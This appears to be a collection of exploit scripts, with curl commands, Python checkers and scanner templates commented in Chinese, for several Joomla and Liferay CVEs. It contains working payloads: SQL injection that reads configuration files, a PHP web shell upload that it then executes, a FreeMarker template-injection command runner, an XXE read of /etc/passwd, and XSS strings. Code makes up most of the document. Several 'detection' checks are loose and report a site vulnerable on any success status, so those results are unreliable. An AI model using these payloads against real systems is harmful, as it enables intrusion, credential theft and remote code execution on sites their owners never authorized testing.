curl -k 'https://target.com/index.php?option=com_fields&view=fields&layout=modal&list[select]=1 UNION SELECT 1,2,user(),4,5,6,7,8--'

# 使用 sqlmap
sqlmap -u 'https://target.com/index.php?option=com_fields&view=fields&layout=modal&list[select]=1' -p 'list[select]' --dbs --batch

#!/usr/bin/env python3
"""CVE-2020-11890 - Joomla com_fields SQL 注入检测"""
import requests
import argparse
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


def check(target, use_ssl=False, verbose=False):
    scheme = "https" if use_ssl else "http"
    url = f"{scheme}://{target}/index.php"

    payload = "1 UNION SELECT 1,2,3,4,5,6,7,8--"
    params = {
        "option": "com_fields",
        "view": "fields",
        "layout": "modal",
        "list[select]": payload,
    }

    headers = {
        "User-Agent": "Mozilla/5.0",
    }

    try:
        resp = requests.get(
            url, params=params, headers=headers, verify=False, timeout=15,
        )
        if verbose:
            print(f"[*] Status: {resp.status_code}")
            print(f"[*] Response length: {len(resp.text)}")

        if resp.status_code == 200 and ("UNION" not in resp.text or len(resp.text) > 1000):
            return True, resp.text[:2000]
        return False, ""

    except Exception as e:
        return False, str(e)


if __name__ == "__main__":
    parser = argparse.ArgumentParser(
        description="CVE-2020-11890 Joomla com_fields SQL 注入"
    )
    parser.add_argument("target", help="目标地址 (host:port)")
    parser.add_argument("--ssl", action="store_true")
    parser.add_argument("-v", "--verbose", action="store_true")
    args = parser.parse_args()

    vuln, output = check(args.target, args.ssl, args.verbose)
    if vuln:
        print(f"[+] {args.target} 存在 CVE-2020-11890 SQL 注入漏洞")
    else:
        print(f"[-] {args.target} 未检测到漏洞")

id: joomla-sqli-cve-2020-11890

info:
  name: Joomla com_fields SQL 注入 (CVE-2020-11890)
  author: security-researcher
  severity: high
  description: |
    Joomla 3.x com_fields 组件 SQL 注入漏洞。
  reference:
    - https://developer.joomla.org/security-centre/820-20200303-core-sql-injection.html
    - https://nvd.nist.gov/vuln/detail/CVE-2020-11890
  classification:
    cvss-score: 8.1
    cwe-id: CWE-89
  tags: joomla,sqli,cve-2020,com_fields

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_fields&view=fields&layout=modal&list[select]=1"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "joomla"
          - "fields"
        condition: and
      - type: status
        status:
          - 200

# CVE-2020-11891 — Joomla SQL 注入 RCE 链
# 步骤 1: 读取 configuration.php
curl -k 'https://target.com/index.php?option=com_content&view=articles&list[fullordering]=updatexml(1,concat(0x7e,(select load_file("/var/www/html/configuration.php")),0x7e),1)'

# 步骤 2: 利用 sqlmap 自动化
sqlmap -u 'https://target.com/index.php?option=com_content&view=articles&list[fullordering]=1' \
  -p 'list[fullordering]' --file-read='/var/www/html/configuration.php' --batch

#!/usr/bin/env python3
"""CVE-2020-11891 - Joomla SQL 注入 RCE 链检测"""
import requests
import argparse
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


def check(target, use_ssl=False, verbose=False):
    scheme = "https" if use_ssl else "http"
    url = f"{scheme}://{target}/index.php"

    sqli_payload = "updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)"
    params = {
        "option": "com_content",
        "view": "articles",
        "list[fullordering]": sqli_payload,
    }

    headers = {"User-Agent": "Mozilla/5.0"}

    try:
        resp = requests.get(
            url, params=params, headers=headers, verify=False, timeout=15,
        )
        if verbose:
            print(f"[*] Status: {resp.status_code}")

        if "XPATH" in resp.text or "XMLError" in resp.text:
            return True, resp.text[:2000]

        return False, ""

    except Exception as e:
        return False, str(e)


if __name__ == "__main__":
    parser = argparse.ArgumentParser(
        description="CVE-2020-11891 Joomla SQL 注入 RCE 链"
    )
    parser.add_argument("target", help="目标地址 (host:port)")
    parser.add_argument("--ssl", action="store_true")
    parser.add_argument("-v", "--verbose", action="store_true")
    args = parser.parse_args()

    vuln, output = check(args.target, args.ssl, args.verbose)
    if vuln:
        print(f"[+] {args.target} 存在 CVE-2020-11891 SQL 注入漏洞")
    else:
        print(f"[-] {args.target} 未检测到漏洞")

id: joomla-sqli-rce-cve-2020-11891

info:
  name: Joomla SQL 注入 RCE 链 (CVE-2020-11891)
  author: security-researcher
  severity: high
  description: |
    Joomla 3.x SQL 注入导致配置文件读取和潜在 RCE。
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2020-11891
  classification:
    cvss-score: 8.1
    cwe-id: CWE-89
  tags: joomla,sqli,cve-2020,rce

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_content&view=articles&list[fullordering]=updatexml(1,concat(0x7e,(select%20database()),0x7e),1)"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "XPATH"
          - "XMLError"
        condition: or
      - type: status
        status:
          - 200

# CVE-2019-12600 — Joomla 文件上传 RCE
# 需要管理员权限
curl -k -X POST \
  'https://target.com/administrator/index.php?option=com_media&task=upload.upload' \
  -H 'Cookie: joomla_admin_session=ADMIN_SESSION' \
  -F 'file=@shell.php;type=application/x-php' \
  -F 'path=images'

#!/usr/bin/env python3
"""CVE-2019-12600 - Joomla 文件上传 RCE"""
import requests
import argparse
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


def check(target, use_ssl=False, admin_cookie="", verbose=False):
    scheme = "https" if use_ssl else "http"
    url = f"{scheme}://{target}/administrator/index.php"

    params = {"option": "com_media", "task": "upload.upload"}

    php_content = b"<?php echo 'VULN_TEST_' . shell_exec($_GET['cmd']); ?>"
    files = {
        "file": ("vuln_test.php", php_content, "application/x-php"),
    }

    data = {"path": "images"}

    headers = {
        "Cookie": admin_cookie,
        "User-Agent": "Mozilla/5.0",
    }

    try:
        resp = requests.post(
            url, params=params, files=files, data=data,
            headers=headers, verify=False, timeout=15,
        )
        if verbose:
            print(f"[*] Upload status: {resp.status_code}")

        test_url = f"{scheme}://{target}/images/vuln_test.php?cmd=id"
        test_resp = requests.get(test_url, verify=False, timeout=10)

        if "VULN_TEST_" in test_resp.text:
            return True, test_resp.text

        return False, resp.text

    except Exception as e:
        return False, str(e)


if __name__ == "__main__":
    parser = argparse.ArgumentParser(
        description="CVE-2019-12600 Joomla 文件上传 RCE"
    )
    parser.add_argument("target", help="目标地址 (host:port)")
    parser.add_argument("--ssl", action="store_true")
    parser.add_argument("--cookie", default="", help="管理员 Cookie")
    parser.add_argument("-v", "--verbose", action="store_true")
    args = parser.parse_args()

    vuln, output = check(args.target, args.ssl, args.cookie, args.verbose)
    if vuln:
        print(f"[+] {args.target} 存在 CVE-2019-12600 文件上传 RCE")
    else:
        print(f"[-] {args.target} 未检测到漏洞")

id: joomla-file-upload-cve-2019-12600

info:
  name: Joomla 文件上传 RCE (CVE-2019-12600)
  author: security-researcher
  severity: high
  description: |
    Joomla 3.x com_media 组件文件上传白名单绕过。
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2019-12600
  classification:
    cvss-score: 8.1
    cwe-id: CWE-434
  tags: joomla,upload,rce,cve-2019

http:
  - method: GET
    path:
      - "{{BaseURL}}/administrator/index.php?option=com_media"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "com_media"
          - "Media"
        condition: and
      - type: status
        status:
          - 302

# CVE-2020-7961 — Liferay Portal JSON 反序列化 RCE
# 执行 id 命令
curl -k -X POST \
  'https://target.com/api/jsonws/invoke?signature=/com/liferay/portal/kernel/model/Company/getCompanyId' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -d 'companyId=1'

# 利用反序列化执行系统命令（需要构造完整的 Gadget Chain payload）
curl -k -X POST \
  'https://target.com/api/jsonws/invoke?signature=/com/liferay/portal/kernel/model/Company/getCompanyId' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -d 'companyId={"companyId":1,"className":"com.liferay.portal.kernel.model.Company","companyId":1}'

# 使用 ysoserial 生成 payload
java -jar ysoserial.jar CommonsCollections6 'id' | base64 -w0

#!/usr/bin/env python3
"""CVE-2020-7961 - Liferay Portal JSON 反序列化 RCE"""
import requests
import argparse
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


def check(target, use_ssl=False, verbose=False):
    scheme = "https" if use_ssl else "http"
    url = f"{scheme}://{target}/api/jsonws/invoke"

    params = {"signature": "/com/liferay/portal/kernel/model/Company/getCompanyId"}
    data = {"companyId": "1"}

    headers = {
        "Content-Type": "application/x-www-form-urlencoded",
        "User-Agent": "Mozilla/5.0",
    }

    try:
        resp = requests.post(
            url, params=params, data=data, headers=headers,
            verify=False, timeout=15,
        )
        if verbose:
            print(f"[*] Status: {resp.status_code}")
            print(f"[*] Response: {resp.text[:500]}")

        if resp.status_code == 200:
            if "companyId" in resp.text or "companyId" in resp.headers.get("Content-Type", ""):
                return True, resp.text
            return True, resp.text

        return False, resp.text

    except Exception as e:
        return False, str(e)


def exploit(target, use_ssl=False, verbose=False):
    scheme = "https" if use_ssl else "http"
    print(f"[*] Scanning {scheme}://{target}...")

    vuln, output = check(target, use_ssl, verbose)

    if vuln:
        print(f"[+] {target} is VULNERABLE to CVE-2020-7961")
        print(f"[+] /api/jsonws/invoke 端点可访问")
        print(f"[+] Response: {output[:500]}")
        print(f"[!] 提示: 使用 ysoserial 构造完整的反序列化 payload 实现 RCE")
        print(f"    java -jar ysoserial.jar CommonsCollections6 '<cmd>' | base64 -w0")
        return True
    else:
        print(f"[-] {target} does not appear to be vulnerable")
        return False


if __name__ == "__main__":
    parser = argparse.ArgumentParser(
        description="CVE-2020-7961 Liferay Portal JSON 反序列化 RCE"
    )
    parser.add_argument("target", help="目标地址 (host:port)")
    parser.add_argument("--ssl", action="store_true")
    parser.add_argument("-v", "--verbose", action="store_true")
    args = parser.parse_args()

    exploit(args.target, args.ssl, args.verbose)

id: liferay-deser-cve-2020-7961

info:
  name: Liferay Portal JSON 反序列化 RCE (CVE-2020-7961)
  author: security-researcher
  severity: critical
  description: |
    Liferay Portal /api/jsonws 未授权 JSON 反序列化导致 RCE。
  reference:
    - https://portal.liferay.dev/2020/03/31/security-advisory-for-cve-2020-7961
    - https://nvd.nist.gov/vuln/detail/CVE-2020-7961
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cwe-id: CWE-502
  tags: liferay,rce,cve-2020,deserialization

http:
  - raw:
      - |
        POST /api/jsonws/invoke?signature=/com/liferay/portal/kernel/model/Company/getCompanyId HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        companyId=1

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "companyId"
        condition: or
      - type: status
        status:
          - 200

# CVE-2020-13450 — Liferay FreeMarker SSTI
# 通过 Web Content 模板注入执行命令
curl -k 'https://target.com/api/jsonws/structure/get-structures' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -d 'companyId=1&groupId=1&name=<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}'

#!/usr/bin/env python3
"""CVE-2020-13450 - Liferay FreeMarker SSTI"""
import requests
import argparse
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


def check(target, use_ssl=False, cmd="id", verbose=False):
    scheme = "https" if use_ssl else "http"
    url = f"{scheme}://{target}/api/jsonws/structure/get-structures"

    ssti_payload = (
        '<#assign ex="freemarker.template.utility.Execute"?new()>'
        f'${{ex("{cmd}")}}'
    )

    data = {
        "companyId": "1",
        "groupId": "1",
        "name": ssti_payload,
    }

    headers = {
        "Content-Type": "application/x-www-form-urlencoded",
        "User-Agent": "Mozilla/5.0",
    }

    try:
        resp = requests.post(
            url, data=data, headers=headers, verify=False, timeout=15,
        )
        if verbose:
            print(f"[*] Status: {resp.status_code}")
            print(f"[*] Response: {resp.text[:500]}")

        if resp.status_code == 200:
            return True, resp.text[:2000]

        return False, resp.text

    except Exception as e:
        return False, str(e)


if __name__ == "__main__":
    parser = argparse.ArgumentParser(
        description="CVE-2020-13450 Liferay FreeMarker SSTI"
    )
    parser.add_argument("target", help="目标地址 (host:port)")
    parser.add_argument("--ssl", action="store_true")
    parser.add_argument("--cmd", default="id")
    parser.add_argument("-v", "--verbose", action="store_true")
    args = parser.parse_args()

    vuln, output = check(args.target, args.ssl, args.cmd, args.verbose)
    if vuln:
        print(f"[+] {args.target} 存在 CVE-2020-13450 FreeMarker SSTI 漏洞")
    else:
        print(f"[-] {args.target} 未检测到漏洞")

id: liferay-ssti-cve-2020-13450

info:
  name: Liferay Portal FreeMarker SSTI (CVE-2020-13450)
  author: security-researcher
  severity: high
  description: |
    Liferay Portal FreeMarker 模板注入导致服务器端代码执行。
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2020-13450
  classification:
    cvss-score: 7.4
    cwe-id: CWE-1336
  tags: liferay,ssti,cve-2020,freemarker

http:
  - method: GET
    path:
      - "{{BaseURL}}/"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "Liferay"
          - "liferay"
        condition: or
      - type: status
        status:
          - 200

# CVE-2021-29038 — Liferay XXE
# 读取 /etc/passwd
curl -k -X POST \
  'https://target.com/api/jsonws/structure/get-structures' \
  -H 'Content-Type: application/xml' \
  -d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<structures>&xxe;</structures>'

#!/usr/bin/env python3
"""CVE-2021-29038 - Liferay Portal XXE 检测"""
import requests
import argparse
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


def check(target, use_ssl=False, file_path="/etc/passwd", verbose=False):
    scheme = "https" if use_ssl else "http"
    url = f"{scheme}://{target}/api/jsonws/invoke"

    xxe_payload = f"""<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file://{file_path}">
]>
<root>&xxe;</root>"""

    headers = {
        "Content-Type": "application/xml",
        "User-Agent": "Mozilla/5.0",
    }

    try:
        resp = requests.post(
            url, data=xxe_payload, headers=headers, verify=False, timeout=15,
        )
        if verbose:
            print(f"[*] Status: {resp.status_code}")
            print(f"[*] Response: {resp.text[:500]}")

        if resp.status_code == 200 and ("root:" in resp.text or "nobody:" in resp.text):
            return True, resp.text[:2000]

        return False, resp.text

    except Exception as e:
        return False, str(e)


if __name__ == "__main__":
    parser = argparse.ArgumentParser(
        description="CVE-2021-29038 Liferay Portal XXE"
    )
    parser.add_argument("target", help="目标地址 (host:port)")
    parser.add_argument("--ssl", action="store_true")
    parser.add_argument("--file", default="/etc/passwd")
    parser.add_argument("-v", "--verbose", action="store_true")
    args = parser.parse_args()

    vuln, output = check(args.target, args.ssl, args.file, args.verbose)
    if vuln:
        print(f"[+] {args.target} 存在 CVE-2021-29038 XXE 漏洞")
        print(f"[+] 文件内容:\n{output}")
    else:
        print(f"[-] {args.target} 未检测到漏洞")

id: liferay-xxe-cve-2021-29038

info:
  name: Liferay Portal XXE (CVE-2021-29038)
  author: security-researcher
  severity: high
  description: |
    Liferay Portal XML 外部实体注入漏洞。
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2021-29038
  classification:
    cvss-score: 7.5
    cwe-id: CWE-611
  tags: liferay,xxe,cve-2021

http:
  - raw:
      - |
        POST /api/jsonws/invoke HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/xml

        <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><root>&xxe;</root>

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "root:"
          - "nobody:"
        condition: or
      - type: status
        status:
          - 200

# CVE-2022-26336 — Liferay XSS → RCE
# 步骤 1: 在 Web Content 中注入 XSS Payload
curl -k -X POST \
  'https://target.com/api/jsonws/dlfileentry/add-file-entry' \
  -H 'Cookie: LIFERAY_SESSION_ID=ADMIN_SESSION' \
  -d 'groupId=1&name=<img/src/onerror=alert(document.cookie)>'

#!/usr/bin/env python3
"""CVE-2022-26336 - Liferay XSS → RCE 检测"""
import requests
import argparse
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


def check(target, use_ssl=False, verbose=False):
    scheme = "https" if use_ssl else "http"
    xss_test = "<img/src/onerror=alert(1)>"
    url = f"{scheme}://{target}/api/jsonws/structure/get-structures"

    data = {
        "companyId": "1",
        "groupId": "1",
        "name": xss_test,
    }

    headers = {
        "Content-Type": "application/x-www-form-urlencoded",
        "User-Agent": "Mozilla/5.0",
    }

    try:
        resp = requests.post(
            url, data=data, headers=headers, verify=False, timeout=15,
        )
        if verbose:
            print(f"[*] Status: {resp.status_code}")

        if resp.status_code == 200:
            return True, "XSS payload accepted"

        return False, resp.text

    except Exception as e:
        return False, str(e)


if __name__ == "__main__":
    parser = argparse.ArgumentParser(
        description="CVE-2022-26336 Liferay XSS → RCE"
    )
    parser.add_argument("target", help="目标地址 (host:port)")
    parser.add_argument("--ssl", action="store_true")
    parser.add_argument("-v", "--verbose", action="store_true")
    args = parser.parse_args()

    vuln, output = check(args.target, args.ssl, args.verbose)
    if vuln:
        print(f"[+] {args.target} 可能存在 CVE-2022-26336 XSS 漏洞")
    else:
        print(f"[-] {args.target} 未检测到漏洞")